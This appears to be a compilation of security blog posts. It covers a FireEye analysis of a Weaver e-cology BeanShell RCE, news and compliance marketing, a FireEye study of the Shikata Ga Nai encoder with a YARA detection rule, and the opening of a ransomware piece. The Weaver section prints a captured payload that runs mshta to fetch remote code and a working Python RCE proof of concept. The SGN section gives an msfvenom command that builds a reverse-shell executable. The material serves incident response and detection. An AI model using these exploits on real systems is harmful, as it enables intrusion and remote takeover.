Anybody who's worked in incident response long enough knows that when parsing the data has failed to uncover the evidence you're looking for, the last thing you can try is sifting through the raw bytes and strings of a file. Volatility has a handy feature to map the string offset to the corresponding process and virtual address. Once this is complete grep searching for specific keywords and filtering through the strings identified a number of HTTP POST requests sitting in unallocated space, expanding our grep using it's context parameter uncovered interesting HTTP POST requests and their payload.

Example POST payload:

POST /weaver/bsh.servlet.BshServlet/ HTTP/1.1
Host: x.x.x.x:88
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
bsh.script=eval .("ex"+"ec(\"mshta hxxp:// www[DOMAIN]/index[.]hta\")");&bsh.servlet.output=raw23; languageidweaver=7; testBanCookie=test; JSESSIONID=xxxxxxxxxx; Systemlanguid=7
tBanCookie=test; Systemlanguid=7; loginidweaver=xxx
st; Systemlanguid=7; loginidweaver=xxx

We knew this was the exploit we were looking for. The payload was exactly what the attacker was executing and the URI confirmed the process path we had identified from the memory image. It was making a request to BshServlet. It was unclear if this vulnerability was known, as there was no CVE associated with the software. Open source research identified a number of Chinese blog sites discussing a newly identified RCE vulnerability with Weaver e-cology OA system. The vulnerability lies within the BeanShell component of the OA system. The attacker could send a specially crafted payload to ’\weaver/bsh.servlet.BshServlet` in order to launch arbitrary commands. The following POC script was discovered on one of the aforementioned Chinese blog sites.

MD5: 49b23c67c2a378fb8c76c348dd80ff61

import requests
import sys   

headers = { 
   'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25', 
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 
   'Accept-Language': 'zh-CN,zh;q=0.9', 
   'Content-Type': 'application/x-www-form-urlencoded'
}   

  

def exploit(url,cmd): 
   target=url+'/weaver/bsh.servlet.BshServlet' 
   payload='bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+{}\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'.format(cmd) 
   res=requests.post(url=target,data=payload,headers=headers,timeout=10) 
   res.encoding=res.apparent_encoding 
   print(res.text)   

if __name__ == '__main__': 
   url=sys.argv[1] 
   while(1): 
       cmd=input('cmd:') 
       exploit(url,cmd)   

The script contained some hardcoded HTTP header values including user-agent, accepted data types, accepted languages and content-type. The script builds an HTTP request and allows the user to specify the command they would like to run; it would then append the URL and command to the crafted exploit to execute. In our instance the attacker was leveraging this vulnerability to launch mshta.exe to download a second stage payload.

Using search engines for internet connected devices such as Shodan or Censys we can quickly identify systems running the Weaver e-cology platform. Using this technique, we identified 28 internet facing system that are potentially vulnerable.

Conclusion

This isn't a new story; Managed Defense responds to cases like this every week. The usage of FOMB was particularly interesting in this instance and it's the first case in Managed Defense we've seen this technique being leveraged in an attempt to bypass defenses. When leveraged correctly, compiled “.bmf” files can be effectively used to sneak into an environment undetected and gain a foothold via persistence in the WMI buffer.

There are many procedural and technical controls that could help prevent a system being compromised. Most larger enterprises are complex and identifying all publicly exposed software and services can be challenging. We’ve worked on many cases where system administrators didn’t believe their system was directly accessible from the internet only to later confirm it was. Prioritizing particular patches can be difficult and if you don’t think a RCE vulnerability is exposed then the Risk level might be incorrectly classified as low.

A combination of controls is typically the best approach. In Managed Defense we assume these controls are imperfect and attackers will find a way to bypass them. Deploying strong monitoring capabilities combined with a team of analysts hunting through lower fidelity signatures or “weak signals” can uncover otherwise unnoticed adversaries.

Learn more about FireEye Managed Defense here.

Weaver Build Timeline

  • 2019-09-20: Weaver Patch released
  • 2019-09-20: Exploit observed in Managed Defense
  • 2019-09-22: Exploit POC blogged
  • 2019-10-03: First public mention outside China

References

7-Eleven fuel app data breach exposes users’ personal details

App users were able to see other customers’ data, including names, dates of birth and mobile numbers

The popular petrol-buying app run by 7-Eleven has suffered a data breach that allowed customers to view the names, email addresses, mobile numbers and dates of birth of other users.

The 7-Eleven fuel app, which the company said this week has been downloaded two million times, was taken offline for a matter of hours on Thursday after a customer alerted the company to the fact that he was able to access the personal information of several other customers via the app.

Continue reading...

23 million people use ‘123456’ as their password

One of cyber criminals’ favourite ways of hacking organisations is through brute-force or ‘password spraying’ attacks, which bombard targets with login attempts using lists of common passwords..

It’s so much easier to access a site or service using someone’s login credentials than it is to exploit a technological vulnerability or craft a phishing scam. There’s a lot less legwork involved and when you’re successful, you’re guaranteed to gain complete access to the victim’s account.

So it was great news for criminals when the NCSC (National Cyber Security Centre) revealed that 23.2 million people in the UK use ‘123456’ as their password.

Another 3.6 million are securing their accounts with ‘password’ and 3.8 million are using ‘qwerty’.

With such predictable passwords, it’s no surprise that every month there are dozens of breaches caused by basic account hacks.

We are our own worst enemies

The problem with these passwords isn’t necessarily that they don’t follow expert advice for securing your account. Don’t be mistaken – you should obviously take that advice – but you should also be wary of using it and still having a predictable password.

Case in point: the 285,000 people who used the name of the pop punk act Blink-182 as their password.

Although “Blink-182” meets all the criteria for a strong password – which is generally considered to be a combination of at least 8 letters, numbers and special characters – it’s generic enough that thousands of other people have used the exact same phrase.

When a cyber criminal gets their hands on a database of passwords, they’ll note which ones are most common and prioritise them when trying to break into new accounts.

This is why experts urge people to use complex phrases. It makes it more likely that you’ll create a password that’s unique to you and isn’t already on cyber criminals’ databases.

And with machines capable of getting through billions of passwords every second, you really do need something truly unique to avoid falling victim.

Stay safe with Cyber Essentials

The key to protecting your organisation from password hacks is to instil a strong cyber security culture in the office. It only takes one person practising poor habits for your whole network to be at risk, so it’s paramount that everybody understands their responsibilities.

Cyber Essentials is a great way of establishing that culture. It’s a UK government scheme that contains five controls capable of repelling about 80% of common Internet-based threats.

One of these controls, Secure Configuration, includes requirements on how to protect your organisation from password-related breaches. It states that organisations must:

  • Protect against brute-force password guessing by limiting attempts and/or the number of guesses allowed in a certain period;
  • Set a minimum password length of at least eight characters (but not a maximum password length);
  • Change passwords promptly when the user knows or suspects they have been compromised; and
  • Have a password policy that informs users of best practices.

cyber essentials

 

The post 23 million people use ‘123456’ as their password appeared first on IT Governance UK Blog.

How to document PCI DSS-compliant policies and procedures – with template example

Technology can only do so much to protect an organisation from data breaches. That’s why Requirement 12 of the PCI DSS (Payment Card Industry Data Security Standard) instructs organisations to implement policies and procedures to help staff manage risks.

Employees introduce many risks into businesses that technology simply can’t prevent. Misconfigured databases, email attachments sent to the wrong person and records that are improperly disposed are common examples the ways staff compromise information.

These are the kinds of risks that a PCI DSS policy can help prevent.

What you should include in a PCI DSS policy

A PCI policy is a collection of written procedures and guides that state how an organisation manages its CDE (cardholder data environment). It should address:

  • Information security: This details the organisation’s security strategy in relation to the storage, processing and transmission of credit card data. It provides a detailed outline of information security responsibilities for all staff, contractors, partners and third parties that access the CDE.
  • Formal security awareness: This identifies the organisation’s responsibilities when implementing a PCI security awareness training programme intended for anyone who has access to the CDE. Staff should take this programme during their induction and repeat it at least once a year or whenever there is a security incident.
  • Incident response: This is a set of instructions for detecting, responding to and limiting the effects of an information security event. Without a plan in place, organisations might not detect an attack or fail to follow proper protocol to contain it and recover.

Fast-track your documentation process

Policies and procedures only work if they are regularly reviewed and updated to ensure they work as intended. This can be time-consuming and challenging, so we’ve created our PCI DSS Documentation Toolkit to simplify the job.

This toolkit includes all the template documents you need to ensure complete coverage of your PCI DSS requirements.

Below is an example of one of the customisable templates in our Documentation Toolkit:
Screenshot of one of our PCI DSS template documents

It contains all the information you need to ensure PCI DSS compliance; all you need to do is fill in the sections that are relevant to your organisation.

The toolkit also contains a document checker to help you select and edit the appropriate policy, so that you can create and amend documents as needs arise.

The toolkit supports all self-assessment questionnaires, regardless of your specific payment scenario. It’s fully aligned with the PCI DSS, so you can be sure that your policies are accurate and compliant with the Standard.

Find out more


A version of this blog was originally published on 13 November 2017.

The post How to document PCI DSS-compliant policies and procedures – with template example appeared first on IT Governance UK Blog.

Police database flagged 9,000 cybercrime reports as ‘security risk’

Reports were quarantined by software designed to protect fraud bureau’s computer system, watchdog told

Thousands of reports of cybercrime were quarantined on a police database instead of being investigated because software designed to protect the computer system labelled them a security risk.

The backlog at one point stretched to about 9,000 reports of cybercrime and fraud, some of them dating back to October last year. The reports had been made to Action Fraud and handed to the National Fraud Intelligence Bureau (NFIB), run by the City of London police.

Related: Plan for massive facial recognition database sparks privacy concerns

Related: Counter-terror police running secret Prevent database

Continue reading...

Announcing the 10th Volume of our State of Software Security Report

Today marks a big milestone for Veracode, and for the application security industry – we’re releasing the 10th volume of our State of Software Security (SOSS) report. 10 SOSS reports and 80,000+ apps later, we’ve accumulated a lot of data, and a lot of insights, about application security trends and best practices. This year, we took a look back at the AppSec picture over the past 10 years, and dug into the data amassed from our security scans from April 2018 to March 2019. Some big takeaways:

The more things change, the more they stay the same: We’ve seen some positive movement this year, but we’ve got a long way to go. The same vulnerabilities are populating the top 10 list, and the percentage of applications that have at least one vulnerability on initial scan has remained high and stagnant over the past 10 years. Secure coding training is clearly still a critical component of any security program.

We’ve moved beyond just finding flaws to fixing them: Our VP of Services Pejman Pourmousa was recently quoted saying, “you can’t scan your way to secure code.” And that sentiment appears to be gaining momentum. This year’s data, especially compared to data over the past 10 years, reveals that developers are indeed focused on fixing the security flaws they find more than ever before. For example, half of applications showed a net reduction in flaws over the sample time frame. Another 20% either had no flaws or showed no change. This means 70% of development teams are keeping pace or pulling ahead in the flaw-busting race!

Security debt is piling up: Although fix rates are improving, most organizations are prioritizing newly found security flaws, while letting older, unaddressed flaws linger. This accumulation of security debt is both illustrated in our SOSS data and has started to emerge as a pain point in our conversations with customers. But this year’s data also provides some compelling evidence surrounding steps organizations can take to start chipping away at that debt. In particular, organizations that are scanning the most are carrying 5x less security debt than those scanning the least.

See below for the data highlights, and check out the full report for all the data details, plus our advice on how to use the story told by the numbers to improve your own application security program.

 

SoSS Infographic

Shikata Ga Nai Encoder Still Going Strong

One of the most popular exploit frameworks in the world is Metasploit. Its vast library of pocket exploits, pluggable payload environment, and simplicity of execution makes it the de facto base platform. Metasploit is used by pentesters, security enthusiasts, script kiddies, and even malicious actors. It is so prevalent that its user base even includes APT threat actors, as we will demonstrate later in the blog post.

Despite Metasploit’s over 15 year existence, there are still core techniques that go undetected, allowing malicious actors to evade detection. One of these core techniques is the Shikata Ga Nai (SGN) payload encoding scheme. Modern detection systems have improved dramatically over the last several years and will often catch plain vanilla versions of known malicious methods. In many cases though, if a threat actor knows what they are doing they can slightly modify existing code to bypass detection.

Before we jump into how SGN works we’ll give a little background knowledge surrounding it. When threat actors plan to attack systems, they go through an assessment process of risk and reward. They cycle through questions of stealth and attribution. Some of these questions include: How much effort do I need to put into not getting caught? What happens if I get caught? How long can I reasonably evade detection? Will the discovery of my presence be attributed back to me? One such way APT actors have attempted to elude detection in the first place has been via encoding.

We know shellcode is primarily a set of instructions designed to manipulate execution of a program in ways not originally intended. The goal is to inject this shellcode into a vulnerable process. To manually create shellcode, one can pull the opcodes from machine code directly or pull them from an assembler/disasembler tool such as MASM (Microsoft Macro Assembler). Raw generated opcodes often will not execute out of the box. They often require being touched up and made compatible with the processor they are executed on and the programming language they are being used for. An encoding scheme such as SGN takes care of these incompatibilities. Also, shellcode in a non-obfuscated state can be readily recognizable via static detection techniques. SGN provides obfuscation and at a first glance, randomness in the obfuscation of the shellcode.

Metasploit’s default configuration encodes all payloads. While Metasploit contains a variety of encoders, the most popular has been SGN. The phrase SGN in the Japanese language means “nothing can be done”. It was given this name as at the time it was created traditional anti-virus products had difficulty with detection. As mentioned, some AV vendors are now catching vanilla implementations, but miss slightly modified variants.

SGN is a polymorphic XOR additive feedback encoder. It is polymorphic in that each creation of encoded shellcode is going to be different from the next. It accomplishes this through a variety of techniques such as dynamic instruction substitution, dynamic block ordering, randomly interchanging registers, randomizing instruction ordering, inserting junk code, using a random key, and randomization of instruction spacing between other instructions. The XOR additive feedback piece in this case refers to the fact the algorithm is XORing future instructions via a random key and then adding that instruction to the key to be used again to encode the next instruction. Decoding the shellcode is a process of following the steps in reverse.

Creating an SGN Encoded Payload

The following steps can be recreated with Metasploit and your choice of debugging/disassembly tools:

  1. First create a plain vanilla SGN encoded payload:
    msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.169.0.36 LPORT=80 -b "\x00" -e x86/shikata_ga_nai -f exe -o /root/Desktop/metasploit/IamNotBad.exe
  2. Open the file in a disassembler. Upon looking at the binary in a disassembler, you first notice a great deal of junk instructions (Figure 1). Also, Metasploit by default does not set the memory location of the code (.text section in this case) as writable. This will need to be set, otherwise the shellcode will not run.


Figure 1: Junk instructions when viewing the binary in a disassembler


Figure 2: RWX Flag = E0000020


Figure 3: Skip the junk code and go directly to the algorithm, which can be done by inserting a jump instruction

Algorithm Breakdown

The algorithm consists of:

  1. Initialization key specification.
  2. Retrieve a location relative to EIP (so that we can modify instructions moving forward based on the address obtained)
    • Metasploit commonly uses the fstenv/fnstenv instructions to put it on the stack where it can be popped into a register for use. There are other ways to get EIP if wanted.
  3. Go through a loop to decode other instructions (by default encoded instructions will all resides in the .text section)
    • Vanilla SGN zeroes out the register to be used as the counter and explicitly moves the counter value into the register, so the loop portion is obvious. The loop instruction is encoded so you won’t see it until decoding has gone far enough.
    • SGN decodes instructions at a higher memory address (it could do lower addresses if it wanted to for more trickery). This is done by adding a value to the stored address from before (the one relative to EIP) and XORing it with the key. In the example that follows you see the instruction XOR  [eax+18h], esi  t .text:00408B98.
    • The address from earlier (the one relative to EIP) is then modified and the key may also be modified [Metasploit by default usually adds or subtracts an instruction value somewhere relative to the address stored from before (the one relative to EIP)].
    • The loop continues until all instructions are decoded and then it moves execution to the decoded shellcode. In this case the reverse shellcode.
  4. As a side note, Shikata Ga Nai allows for multiple iterations. If multiple iterations are chosen, steps 1 to 3 are repeated after the completion of the current iteration.

As you can see from each of the aforementioned steps, if you’re a defender and solely relying on static detection, detection can be quite difficult. With something encoded like this, it is difficult to statically detect the specific malicious behavior without unrolling the encoded instructions. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on the option of detecting via behavioral indicators or sandboxes.


Figure 4: Code before decoding


Figure 5: Instructions being decoded

For many of those that have been in cyber security for a while, this is not new. What is still relevant though is the fact that many malicious payloads encoded with SGN are still making it past defenses and still being used by threat actors. We noticed SGN encoded payloads still making it onto systems and we decided to investigate further. The results were both rewarding and surprising and led to additional detection methods discussed in the “Detection” section. It also gave us more awareness as to the extent SGN was still being used. The following is an example of a payload we recovered from an APT actor.

Embedding a Payload

For this example, we used an existing APT41 sample and embedded the payload into a benign PE. This APT41 sample is shellcode that is Shikata Ga Nai encoded.

MD5: def46c736a825c357918473e3c02b3ef

We will take a benign PE we created (ImNotBad.exe) and we will embed the APT41 sample to show SGN in action. We create a new section called NewSec and set the section values appropriately.


Figure 6: Calculate the size of the shell code. Start address 12000 and End Address 94C10. Make sure the size is within data that is there. The difference is 82c10.


Figure 7: Insert the shell code into the benign PE (ImNotBad.exe)


Figure 8: The embedded shellcode can be found in the code


Figure 9: Patch the code to jump to it


Figure 10: Here are the four steps from the Shikata Ga Nai algorithm (mentioned previously) demonstrated

In Figure 11 and Figure 12, as the first set of instructions are decoded it appears it is attempting to avoid normal execution. EA 25 D9 74 24 F4 BB => Note how the EA and 25 are inserted to cause code to crash (jumping to a curious spot in the code). Further effort was not applied to investigate the crash correctly, but when patching the code with nops, it executes the next decode sequence.


Figure 11: Set of instructions are decoded it appears it is attempting to avoid normal execution


Figure 12: Set of instructions are decoded it appears it is attempting to avoid normal execution

Detection

Detecting SGN encoded payloads can be difficult as a defender, especially if static detection is heavily relied upon. Decoding and unraveling the encoded instructions is necessary to identify the intended malicious purposes. Constantly scanning memory is computationally expensive, making it less feasible. This leaves most detection platforms relying on detection via behavioral indicators and sandboxes. FireEye appliances contain both static and dynamic detection components. Detection is achieved by a variety of engines, including FireEye's machine learning engine, MalwareGuard. The numerous engines within FireEye appliances serve specific purposes and have different strengths and weaknesses. Creating detection around these various engines allows FireEye to utilize each of their strengths. Correlating activity between these engines allows for unique detection opportunities. This also allows for production detections that would otherwise not be possible when relying on a single engine for detection. We were able to create production detections correlating the different engines on the FireEye appliances to detect SGN encoded binaries with a high fidelity. The current production detections take advantage of static, dynamic and machine learning engines within the FireEye appliance.

As an example of the complications concerned with detecting SGN, we will construct code encoded with a slightly modified version of Metasploit’s plain SGN algorithm (Figure 13): 


Figure 13: Example code for possible static detection

One of the keys to writing a good static detection rule is recognizing the unique malicious behaviors of what you are trying to detect. Next, being able to capture as much of that behavior without causing false positives (FPs). Earlier in the post we listed the core behaviors of the SGN algorithm. For sake of illustration, let’s try to match on some of those behaviors. We’ll attempt to match on the key, the mechanism used to get EIP, and the XOR additive feedback loop.

If we were trying to detect the code in Figure 13 statically, we could use the open source tool Yara. As a first pass we could construct the following rule (Figure 14):


Figure 14: Example SGN YARA static detection rule for the code in Figure 17

In the rule in Figure 14 we have added padding bytes to try and thwart an attacker that would insert junk instructions. If an adversary realized what we were matching on it could be easily defeated by inserting junk code beyond our padding. We could play the game of cat and mouse and continue to increase our padding based on what we saw, but this is not a good solution. In addition, as we pad more bytes out, the rule becomes more FP prone. Besides adding junk code, other obvious evasion techniques an attacker could use include: using different registers, performing arithmetic operations to obtain values or reordering instructions. Metasploit does a decent job randomizing the algorithm with these things which makes static detection more difficult. As we try to catch each modified version it could be never-ending.

Static detection is a useful technique, but very limited. If this is all you rely on, you will miss much of the malicious behavior getting onto your systems. For SGN, we studied it further and identified the core behavioral pieces. We saw how it was still being used by modern malware. The following is an example hunting rule that can be used to detect some of the current common permutations created by vanilla x86-SGN in Metasploit. This rule can be further expanded upon to include additional logic if desired.

rule Hunting_Rule_ShikataGaNai
{
    meta:
        author = "Steven Miller"
    strings:
        $varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
        $varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
        $varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
        $varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
        $varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
        $varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
        $varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
        $varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
        $varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
        $varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
        $varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
        $varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
    condition:
        any of them
}

Thoughts

Metasploit is used by many different people for many different reasons. Some may use Metasploit for legitimate purposes such as red team engagements, research or educational tasks, while others may use the framework with a malicious intent. In the latter category, FireEye has historically observed APT20, a suspected Chinese nation state sponsored threat group, utilize Metasploit with SGN encoded payloads. APT20 is one of the many named threat groups that FireEye tracks. This group has a primary focus on stealing data, specifically intellectual properties. Other named groups include APT41 and FIN6. APT41 was formally disclosed by FireEye Intelligence earlier this year. This group has utilized SGN encoded payloads within custom developed backdoors. APT41 is a Chinese cyber threat group that has been observed carrying out financially motivated missions coinciding with cyber-espionage operations. Financial threat group FIN6 has also used SGN encoded payloads to carry out their missions, and they have historically relied upon various publicly available tools. These missions largely involve theft of payment card data from point-of-sale systems. FireEye has also observed numerous uncategorized threat groups utilizing payloads encoded with SGN. These are groups that FireEye tracks internally, but have not been announced formally. One of these groups in particular is UNC902, which is largely known as the financially motivated group TA505 in public threat reports. FireEye has observed UNC902 extensively use SGN encoding within their payloads and we continue to see activity related to this group, even as recently as October 2019. Outside of these groups, we continue to observe usage of SGN encoding within malicious samples. FireEye currently identifies hundreds of SGN encoded payloads on a monthly basis. SGN encoded payloads are not always used with the same intent, but this is one side effect of being embedded into such a popular and freely available framework. Looking forward, we expect to see continued usage of SGN encoded payloads.

Data Protection Laws & Compliance As Drivers of WAF Adoption

WAFs are among the most common security controls used by organizations in both the public and private sectors to protect their web applications against common web exploits.

Driven by the extensive growth in attack volume against web applications, the global WAF market size is expected to reach $6.89 billion by 2024. What else is driving this growth across industries?

Driver of WAF adoption

compliance waf firewall

In a research study by Computing, 62% of  IT decision makers surveyed across various industries stated regulatory compliance as their primary reason for purchasing a WAF.

With regulations introduced to protect consumer data safety, businesses and organizations are keen to adopt industry standards like PCI-DSS (Payment Card Industry Data Security Standard), given that the standard is a prerequisite for businesses who need to accept and process online credit card payments.

Other notable drivers of WAF adoption in the study found that: 

  • 46% of respondents find that inherent vulnerabilities to application layer attacks had enabled them to present a compelling business case for a WAF.
  • 23% were driven by penetration testing that alerted them to some serious vulnerabilities in their web applications. 
  • 18% stated that there was simply no other cost-effective way of securing legacy applications.

Role of WAF in data protection laws

 

In the 1990s, there were only 20 data privacy laws worldwide. Now, there are over 100.  In many cases, government regulations require the deployment of a WAF, either explicitly or implicitly. 

WAFs by their very nature are designed to protect an organization’s core assets (i.e. web applications) and maintain data integrity. That’s why countries with mature cybersecurity markets tend to have data protection or data privacy laws in place to address data security.

One of the most well-known government laws contributing to WAF adoption is the GDPR (General Data Protection Regulation), which is the EU’s answer to adhere to data protection and privacy for all its citizens.

However, not all countries have highly developed laws like the GDRP. Many countries have data protection laws that are too general and might not provide enough guidance to delegate any sort of accountability for companies that hold user data. In these cases, there is also no mention of deploying a WAF.

Saudi Arabia, for example, has privacy laws similar to those found in other countries but their laws simply address privacy and data collection with no mention of data security or clause to notify users of notification of data breaches. 

Why compliance and protecting customer data matter

Besides a desire to avoid any penalties or suspended privileges of their services, adhering to data protection laws and compliance industry standards also establish trust among data owners. 

By demonstrating a commitment to data protection through compliance, more users will be willing to engage with their services. If an organization does not uphold these standards, users will be less willing to just give up their personal information, and a company’s reputation may be on the line.

Therefore, it makes sense that any company that processes, manages, and stores personal data must engage in the proper security protocols to protect user data and notify users of any data breaches.

Though not all data privacy laws explicitly require WAF adoption, data protection can be achieved with its implementation. 

Take a look below at some of the laws around the world aimed at protecting user data.

Europe North America Latin America
EU: GDPR (General Data Protection Regulation) Canada: Personal Information Protection and Electronic Documents Act (PIPEDA) Brazil: Lei Geral de Proteção de Dados (LGPD)
UK: Data Protection Act 2018 US: Privacy Act of 1974 Family Educational Rights and Privacy Act (FERPA) Mexico: Federal Law on Protection of Personal Data Held by Individuals (LFPDPPP)
Sweden: Data Protection Act (DPA) Argentina: Personal Data Protection Act 2000 (Law No. 25,326)
France: French Data Protection Act 2 (FDPA)
Germany: Federal Data Protection Act 2017 (Bundesdatenschutzgesetz – BDSG)
Middle East Africa Asia-Pacific
Israel: Privacy Protection Law (5741-1981) South Africa: Protection of Personal Information Act 2013 (POPIA) Singapore: The Personal Data Protection Act 2012
Hong Kong: Personal Data Privacy Ordinance Cap 486 (PDPO)
Australia: Privacy Act of 1988 and Telecommunications Act 1997
Malaysia: Personal Data Protection Act (PDPA)

Is there a famous data privacy law we missed? Drop us a line!

The post Data Protection Laws & Compliance As Drivers of WAF Adoption appeared first on Cloudbric.

Train to be a certified cyber security professional for just $39

Cyber crime is responsible for a staggering amount of damage and chaos around the world. Want to be a part of the solution? Then train for a career in this demanding field with The A to Z Cyber Security and IT Certification Training Bundle.

This e-training bundle is perfect for anyone who has an interest in putting a stop to cyber crime. It includes twelve courses that’ll introduce students to ethical hacking methods, show them how to test a network for weaknesses, and identify problems so they can be fixed prior to being exploited. It’s fast, flexible, and you can even apply your training in preparation for several certification exams

To read this article in full, please click here

Protect yourself and your customers from formjacking

Online retailers and other organisations using ecommerce functionality must prepare for the threat of formjacking, Symantec has warned, after detecting 3.7 million instances of the attack method in 2018.

Formjacking works by inserting malicious JavaScript code into the payment form of an organisation’s online checkout and siphoning off customers’ card details.

It’s particularly dangerous because there’s almost no way to spot whether a page has been compromised. The payment proceeds as normal, and the only way a customer will know they’ve been attacked is when charges show up on their bank statement or the organisation discloses a breach.

Who is being targeted?

Any organisation that accepts online payments is vulnerable to formjacking, but crooks tend to target smaller organisations that have less sophisticated defence mechanisms. This makes it easier to plant malware and for it to remain undetected on the organisation’s systems for longer.

According to Symantec, organisations that work with large companies are particularly vulnerable, as crooks can use them to conduct supply chain attacks. This involves exploiting a vulnerability in a system that’s used to provide services to a third party.

Supply chain attacks were the cause of several high-profile formjacking attacks in 2018, including those against Ticketmaster, British Airways, Feedify and Newegg.

Why are organisations being attacked?

John Moss, CEO of English Blinds, says:

Formjacking has been on the rise in recent months for a combination of reasons. First of all, the well-publicised success of Magecart groups across several high-profile attacks have served as something of an endorsement to others, but the greater part of the problem is that most businesses are simply unprepared for attacks of this type, and have no protocols in place to identify and mitigate them.

Additionally, it is almost impossible to identify if the JavaScript code of a page has been compromised as the intended payments are also processed as normal, and so a significant amount of jacks may take place before a problem is flagged, making it a highly lucrative and reasonably safe attack method for well-prepared antagonists.

To protect and mitigate against formjacking attacks, organisations first of all need to recognise the fact that they pose a real threat in the first place, and that no organisation is too small or low profile as to serve as a completely unappealing target.

Setting up protocols to execute regular penetration tests and vulnerability scans is vital for any organisation, and will ensure that potential threats are identified and eradicated before they can become a problem.

Shayne Sherman, CEO of TechLoris adds:

Hackers are looking for the quick, big win – and of course, a challenge. Identity theft is useful only if you can either a) use the identity stolen or b) sell that information. For those able to hack into larger databases of information, they can collect a larger amount of data that can then be sold. They run a smaller risk as they won’t be caught using a stolen identity. Someone else will then take that risk.

Who is behind the attacks?

The majority of formjacking attacks have been blamed on Magecart, which is believed to be a collection of cyber crime groups.

However, Magecart’s methods aren’t unique. Attacks don’t require any specialist knowledge or technology, meaning any crook could conduct one.

With a single piece of payment card information fetching about $45 (about £34) on the dark web, formjacking is an incredibly lucrative option. Its popularity may only grow further following the declining interest in cryptocurrency, which had previously sparked an increase in cryptojacking attacks.

Protect your business by paying attention

Sherman continues:

Hackers are successful because they are subtle. Making big changes sends up red flags, but by making small changes to source code, a hacker can infiltrate your system. If you’re checking these codes regularly, you’re more likely to catch these hackers before the damage is done.

You can detect malicious code and vulnerabilities that would allow crooks to plant that code by conducting regular vulnerability scans and penetration tests.

Vulnerability scans are automated tests that look for weaknesses in organisations’ systems and applications.

Organisations can use a variety of off-the-shelf tools to conduct vulnerability scans, each of which runs a series of ‘if–then’ scenarios that identify system settings or features that may contain known vulnerabilities.

Meanwhile, penetration testing is essentially a controlled form of hacking in which an ethical hacker, working on behalf of an organisation, looks for vulnerabilities in the same way that a criminal hacker would.

The objective of penetration testing is similar to vulnerability scanning, but it is more thorough and requires expertise and human interaction.

Find out how IT Governance can help meet your penetration testing and vulnerability scanning requirements >>


A version of this blog was originally published on 5 March 2019.

The post Protect yourself and your customers from formjacking appeared first on IT Governance UK Blog.

How to protect your organisation after a ransomware attack

So, your computer screen has been hijacked by ransomware and the criminals behind the attack are demanding money to return your systems. Now what?

That’s a question countless organisations are asking themselves nowadays, with more than 100 ransomware attacks reported so far in 2019.

If you think that doesn’t sound so bad, the true scale of the issue is much bigger than this. The majority of organisations that are struck by ransomware don’t report the issue.

This might be because they think it will make them look as if they weren’t adequately prepared to protect themselves from ransomware.

Alternatively, they might fear that announcing an attack will lead to other criminals launching similar attacks against them.


What is ransomware?

